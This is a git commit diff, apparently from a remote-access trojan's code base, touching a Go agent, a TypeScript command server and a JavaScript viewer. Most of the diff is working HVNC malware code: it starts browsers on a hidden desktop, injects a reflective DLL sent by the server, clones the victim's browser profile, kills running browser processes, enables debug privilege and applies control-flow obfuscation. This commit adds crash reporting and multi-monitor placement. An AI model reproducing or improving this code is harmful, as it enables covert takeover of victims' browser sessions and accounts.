add more info for when chrome gets killed
This commit is contained in:
@@ -4,7 +4,7 @@ package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
return 0, errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
|
||||
@@ -30,6 +30,7 @@ var (
|
||||
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
|
||||
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
|
||||
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
|
||||
procGetExitCodeProcess = kernel32.NewProc("GetExitCodeProcess")
|
||||
)
|
||||
|
||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
@@ -66,6 +67,58 @@ const (
|
||||
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
||||
)
|
||||
|
||||
func describeExitCode(code uint32) string {
|
||||
switch code {
|
||||
case 0:
|
||||
return "normal exit"
|
||||
case 0xC0000005:
|
||||
return "access violation (0xC0000005)"
|
||||
case 0xC0000374:
|
||||
return "heap corruption (0xC0000374)"
|
||||
case 0xC0000409:
|
||||
return "stack buffer overrun (0xC0000409)"
|
||||
case 0xC000001D:
|
||||
return "illegal instruction (0xC000001D)"
|
||||
case 0xC00000FD:
|
||||
return "stack overflow (0xC00000FD)"
|
||||
case 0xC0000096:
|
||||
return "privileged instruction (0xC0000096)"
|
||||
case 0x40010004:
|
||||
return "debugger terminated process"
|
||||
case 0xC000013A:
|
||||
return "process killed by Ctrl+C"
|
||||
case 1:
|
||||
return "general error (exit code 1)"
|
||||
default:
|
||||
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
|
||||
}
|
||||
}
|
||||
|
||||
func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) {
|
||||
hProc, _, _ := procOpenProcess.Call(
|
||||
SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION
|
||||
0, uintptr(pid),
|
||||
)
|
||||
if hProc == 0 {
|
||||
return
|
||||
}
|
||||
defer procCloseHandle.Call(hProc)
|
||||
|
||||
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
|
||||
if ret != 0 {
|
||||
return
|
||||
}
|
||||
|
||||
var exitCode uint32
|
||||
procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode)))
|
||||
|
||||
if exitCode == 0 {
|
||||
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
|
||||
} else {
|
||||
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
|
||||
}
|
||||
}
|
||||
|
||||
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
||||
func enableDebugPrivilege() {
|
||||
var hToken uintptr
|
||||
@@ -103,7 +156,7 @@ func enableDebugPrivilege() {
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -118,6 +171,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
captureDllBytes: captureDllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
display: display,
|
||||
}, 30*time.Second)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
@@ -125,7 +179,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
return result.pid, result.err
|
||||
}
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
if onDXGIStatus != nil {
|
||||
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||
}
|
||||
@@ -158,12 +212,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
if isProcessRunning(processName) {
|
||||
notify("kill", true, fmt.Sprintf("killing running %s", processName))
|
||||
killProcess(processName)
|
||||
killed := killProcess(processName)
|
||||
time.Sleep(1500 * time.Millisecond)
|
||||
if isProcessRunning(processName) {
|
||||
notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName))
|
||||
notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed)))
|
||||
} else {
|
||||
notify("kill", true, fmt.Sprintf("%s terminated", processName))
|
||||
notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed))
|
||||
}
|
||||
} else {
|
||||
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
|
||||
@@ -172,7 +226,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
|
||||
if !clone {
|
||||
notify("launch", true, "starting without profile cloning")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -184,6 +238,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -224,7 +284,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
|
||||
notify("launch", true, "starting with cloned profile")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -236,12 +296,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil)
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
@@ -417,10 +483,10 @@ func isProcessRunning(name string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func killProcess(name string) {
|
||||
func killProcess(name string) []uint32 {
|
||||
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
|
||||
if snapshot == uintptr(^uintptr(0)) {
|
||||
return
|
||||
return nil
|
||||
}
|
||||
defer procCloseHandle.Call(snapshot)
|
||||
|
||||
@@ -437,11 +503,12 @@ func killProcess(name string) {
|
||||
ExeFile [260]uint16
|
||||
}
|
||||
|
||||
var killed []uint32
|
||||
var entry processEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
return
|
||||
return nil
|
||||
}
|
||||
target := strings.ToLower(name)
|
||||
for {
|
||||
@@ -449,9 +516,14 @@ func killProcess(name string) {
|
||||
if strings.ToLower(exeName) == target {
|
||||
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
|
||||
if hProc != 0 {
|
||||
kernel32.NewProc("TerminateProcess").Call(hProc, 0)
|
||||
r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0)
|
||||
procCloseHandle.Call(hProc)
|
||||
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
if r != 0 {
|
||||
killed = append(killed, entry.ProcessID)
|
||||
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
} else {
|
||||
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
|
||||
}
|
||||
}
|
||||
}
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
@@ -460,6 +532,7 @@ func killProcess(name string) {
|
||||
break
|
||||
}
|
||||
}
|
||||
return killed
|
||||
}
|
||||
|
||||
func getBrowserUserDataDir(info browserInfo) string {
|
||||
@@ -785,7 +858,7 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
@@ -805,7 +878,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
enableDebugPrivilege()
|
||||
|
||||
// Create the process suspended on the HVNC desktop
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
|
||||
if err != nil {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return 0, fmt.Errorf("failed to create suspended process: %v", err)
|
||||
@@ -1052,12 +1125,17 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
|
||||
return handle, name, nil
|
||||
}
|
||||
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
}
|
||||
args := " --window-position=0,0"
|
||||
posX, posY := 0, 0
|
||||
if mons := monitorList(); display >= 0 && display < len(mons) {
|
||||
posX = mons[display].rect.Min.X
|
||||
posY = mons[display].rect.Min.Y
|
||||
}
|
||||
args := fmt.Sprintf(" --window-position=%d,%d", posX, posY)
|
||||
chromiumExes := map[string]bool{
|
||||
"chrome.exe": true,
|
||||
"brave.exe": true,
|
||||
@@ -1082,8 +1160,8 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
|
||||
var pi processInformation
|
||||
si.cb = uint32(unsafe.Sizeof(si))
|
||||
si.lpDesktop = desktopNamePtr
|
||||
si.dwX = 0
|
||||
si.dwY = 0
|
||||
si.dwX = uint32(posX)
|
||||
si.dwY = uint32(posY)
|
||||
si.dwFlags = STARTF_USEPOSITION
|
||||
|
||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
|
||||
|
||||
@@ -31,7 +31,7 @@ func HVNCMonitorCount() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
func StartHVNCProcess(filePath string, operaPatch bool) error {
|
||||
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
|
||||
@@ -490,9 +490,9 @@ func ensureHVNCThread() error {
|
||||
var result hvncTaskResult
|
||||
switch task.kind {
|
||||
case hvncTaskStartProcess:
|
||||
result.pid, result.err = startHVNCProcessOnThread(task.filePath)
|
||||
result.pid, result.err = startHVNCProcessOnThread(task.filePath, task.display)
|
||||
case hvncTaskStartProcessInjected:
|
||||
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
||||
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display)
|
||||
case hvncTaskMouseMove:
|
||||
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
||||
case hvncTaskMouseDown:
|
||||
@@ -546,13 +546,14 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return result.img, result.err
|
||||
}
|
||||
|
||||
func StartHVNCProcess(filePath string, operaPatch bool) error {
|
||||
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
}
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
kind: hvncTaskStartProcess,
|
||||
filePath: strings.TrimSpace(filePath),
|
||||
display: display,
|
||||
}, 10*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -917,7 +918,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
return img, nil
|
||||
}
|
||||
|
||||
func startHVNCProcessOnThread(filePath string) (uint32, error) {
|
||||
func startHVNCProcessOnThread(filePath string, display int) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -930,12 +931,17 @@ func startHVNCProcessOnThread(filePath string) (uint32, error) {
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to convert command line: %v", err)
|
||||
}
|
||||
posX, posY := 0, 0
|
||||
if mons := monitorList(); display >= 0 && display < len(mons) {
|
||||
posX = mons[display].rect.Min.X
|
||||
posY = mons[display].rect.Min.Y
|
||||
}
|
||||
var si startupInfo
|
||||
var pi processInformation
|
||||
si.cb = uint32(unsafe.Sizeof(si))
|
||||
si.lpDesktop = desktopNamePtr
|
||||
si.dwX = 0
|
||||
si.dwY = 0
|
||||
si.dwX = uint32(posX)
|
||||
si.dwY = uint32(posY)
|
||||
si.dwFlags = STARTF_USEPOSITION
|
||||
|
||||
ret, _, callErr := procCreateProcessW.Call(
|
||||
@@ -971,7 +977,7 @@ func hvncAutoStartExplorerOnThread() error {
|
||||
}
|
||||
|
||||
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
|
||||
_, err := startHVNCProcessOnThread("explorer.exe")
|
||||
_, err := startHVNCProcessOnThread("explorer.exe", 0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("auto-start explorer failed: %w", err)
|
||||
}
|
||||
|
||||
@@ -1499,6 +1499,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
filePath := ""
|
||||
killExe := ""
|
||||
operaPatch := false
|
||||
display := 0
|
||||
if payload != nil {
|
||||
if v, ok := payload["path"].(string); ok {
|
||||
filePath = v
|
||||
@@ -1509,8 +1510,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
if v, ok := payload["opera_patch"].(bool); ok {
|
||||
operaPatch = v
|
||||
}
|
||||
if v, ok := payload["display"].(float64); ok {
|
||||
display = int(v)
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
|
||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process", nil, func() {
|
||||
sendLaunchStatus := func(step string, success bool, detail string) {
|
||||
@@ -1531,7 +1535,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
}
|
||||
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
|
||||
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
|
||||
if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
|
||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
|
||||
} else {
|
||||
@@ -1635,6 +1639,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
filePath := ""
|
||||
searchPath := ""
|
||||
replacePath := ""
|
||||
display := 0
|
||||
if payload != nil {
|
||||
if v, ok := payload["path"].(string); ok {
|
||||
filePath = v
|
||||
@@ -1645,6 +1650,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
if v, ok := payload["replace_path"].(string); ok {
|
||||
replacePath = v
|
||||
}
|
||||
if v, ok := payload["display"].(float64); ok {
|
||||
display = int(v)
|
||||
}
|
||||
}
|
||||
dllBytes := extractDLLBytes(payload)
|
||||
if len(dllBytes) == 0 {
|
||||
@@ -1652,10 +1660,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process_injected", nil, func() {
|
||||
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
|
||||
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
|
||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
@@ -1691,6 +1699,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
clone := true
|
||||
cloneLite := false
|
||||
killIfRunning := false
|
||||
display := 0
|
||||
if payload != nil {
|
||||
if v, ok := payload["browser"].(string); ok {
|
||||
browser = v
|
||||
@@ -1707,6 +1716,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
if v, ok := payload["killIfRunning"].(bool); ok {
|
||||
killIfRunning = v
|
||||
}
|
||||
if v, ok := payload["display"].(float64); ok {
|
||||
display = int(v)
|
||||
}
|
||||
}
|
||||
dllBytes := extractDLLBytes(payload)
|
||||
if len(dllBytes) == 0 {
|
||||
@@ -1717,7 +1729,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||
@@ -1751,7 +1763,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -400,7 +400,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
const step = msg.step || "";
|
||||
const detail = msg.detail || "";
|
||||
|
||||
if (!msg.success) {
|
||||
if (step === "crashed" || step === "exited") {
|
||||
launchStatusIcon.className = "fa-solid fa-skull-crossbones text-rose-400";
|
||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||
launchStatusLabel.className = "text-rose-300";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 20000);
|
||||
} else if (!msg.success) {
|
||||
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
|
||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||
launchStatusLabel.className = "text-rose-300";
|
||||
@@ -416,6 +424,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 8000);
|
||||
} else if (step === "kill") {
|
||||
launchStatusIcon.className = "fa-solid fa-hand text-amber-400";
|
||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||
launchStatusLabel.className = "text-amber-300";
|
||||
} else {
|
||||
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
|
||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||
@@ -423,6 +435,35 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
}
|
||||
}
|
||||
|
||||
function handleHVNCError(msg) {
|
||||
const errorText = msg.error || msg.message || "Unknown HVNC error";
|
||||
console.error("hvnc: server error:", errorText);
|
||||
if (!launchStatusEl) return;
|
||||
if (launchHideTimer) {
|
||||
clearTimeout(launchHideTimer);
|
||||
launchHideTimer = null;
|
||||
}
|
||||
launchStatusEl.classList.remove("hidden");
|
||||
launchStatusEl.classList.add("flex");
|
||||
if (msg.critical) {
|
||||
launchStatusIcon.className = "fa-solid fa-triangle-exclamation text-red-500 text-lg animate-pulse";
|
||||
launchStatusLabel.textContent = errorText;
|
||||
launchStatusLabel.className = "text-red-400 font-bold";
|
||||
launchStatusEl.className = "flex items-center gap-2 bg-red-950/80 border-2 border-red-500 rounded-lg px-4 py-3 text-sm shadow-lg shadow-red-500/20";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.className = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm";
|
||||
}, 30000);
|
||||
} else {
|
||||
launchStatusIcon.className = "fa-solid fa-circle-exclamation text-rose-400";
|
||||
launchStatusLabel.textContent = errorText;
|
||||
launchStatusLabel.className = "text-rose-300";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 15000);
|
||||
}
|
||||
}
|
||||
|
||||
function handleBrowserCheckResult(msg) {
|
||||
if (!msg.browsers || !contextMenu) return;
|
||||
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
||||
@@ -929,7 +970,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
handleHVNCError(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
|
||||
@@ -1098,6 +1098,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
path: String(payload.path || ""),
|
||||
kill_exe: String(payload.kill_exe || ""),
|
||||
opera_patch: Boolean(payload.opera_patch),
|
||||
display: state.display ?? 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_kill_all":
|
||||
@@ -1107,7 +1108,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDll = getCaptureDllBytes();
|
||||
@@ -1116,6 +1117,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
search_path: String(payload.search_path || ""),
|
||||
replace_path: String(payload.replace_path || ""),
|
||||
dll: dllData,
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDll) cmdPayload.capture_dll = captureDll;
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
||||
@@ -1125,13 +1127,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllChrome = getCaptureDllBytes();
|
||||
const chromeCmdPayload: Record<string, any> = {
|
||||
path: String(payload.path || ""),
|
||||
dll: dllData,
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
||||
@@ -1141,7 +1144,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllBrowser = getCaptureDllBytes();
|
||||
@@ -1152,6 +1155,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
cloneLite: payload.cloneLite === true,
|
||||
killIfRunning: payload.killIfRunning === true,
|
||||
dll: dllData,
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
||||
|
||||
Reference in New Issue
Block a user